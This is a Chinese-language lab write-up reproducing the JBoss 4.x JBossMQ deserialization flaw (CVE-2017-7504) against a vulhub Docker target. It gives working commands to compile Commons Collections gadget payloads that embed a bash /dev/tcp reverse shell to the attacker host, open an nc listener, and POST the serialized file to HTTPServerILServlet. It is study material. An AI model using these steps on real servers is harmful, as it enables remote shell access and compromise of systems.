漏洞復現之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)


前言

    序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。

Java中的ObjectOutputStream類的writeObject()方法可以實現序列化,ObjectInputStream類的readObject()方法用於反序列化。

問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。

 

Apache Commons Collections

    是一個擴展了Java標准庫里的Collection結構的第三方基礎庫,它提供了很多強有力的數據結構類型並且實現了各種集合工具類。

 

首先這個漏洞與CVE-2015-7501一樣,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。

差別在於CVE-2017-7504利用路徑是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路徑是/invoker/JMXInvokerServlet。

 

此次環境嘗試用docker搭建。

靶機:

ip:192.168.112.132

操作系統:ubuntu18.0.4 LTS

攻擊機:

ip:192.168.112.133

操作系統:kali

一、環境搭建

  1.docker的安裝參考

    https://www.howtoing.com/ubuntu-docker

  2.安裝完docker后,直接拉取vulhub的源碼。

    https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504

  3.靶機啟動服務

    執行如下命令啟動JBoss AS 4.0.5

      docker-compose up -d

   4.環境啟動后,地址為http://192.168.112.132:8080/

   

  至此,靶機部分完成。

二、exp准備:

  用法實例:

    1)javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
    2)java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.112.133/4444<&1'
    3)nc -lvvp 4444
    4)curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser

三、exploit
  1) 選擇
ExampleCommonsCollections1WithHashMap,編譯並生成序列化數據:   

       

  javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java    #編譯
  java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.112.133/4444 0>&1" 
   #ser全稱serialize,序列化惡意數據至文件。

  第一行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.class
  第二行命令執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.ser

   

   

  2)發射:

  將該文件作為請求數據主體發送如下數據包:
  curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

   # --data-binary 意為以二進制的方式post數據

   

  反彈成功。

  

  反彈shell也可以使用工具中預置payload的文件——ReverseShellCommonsCollectionsHashMap.java

  復現過程可參考:https://www.sec-note.com/2018/03/30/Jboss/

 參考鏈接:

  http://gv7.me/articles/2018/CVE-2017-7504/

  https://www.jianshu.com/p/d265f9514f7d

  https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

  https://security.tencent.com/index.php/blog/msg/97

  https://www.cnblogs.com/ITEagle/archive/2010/04/10/1708989.html

  https://www.runoob.com/java/java-tutorial.html

  https://www.runoob.com/java/java-serialization.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM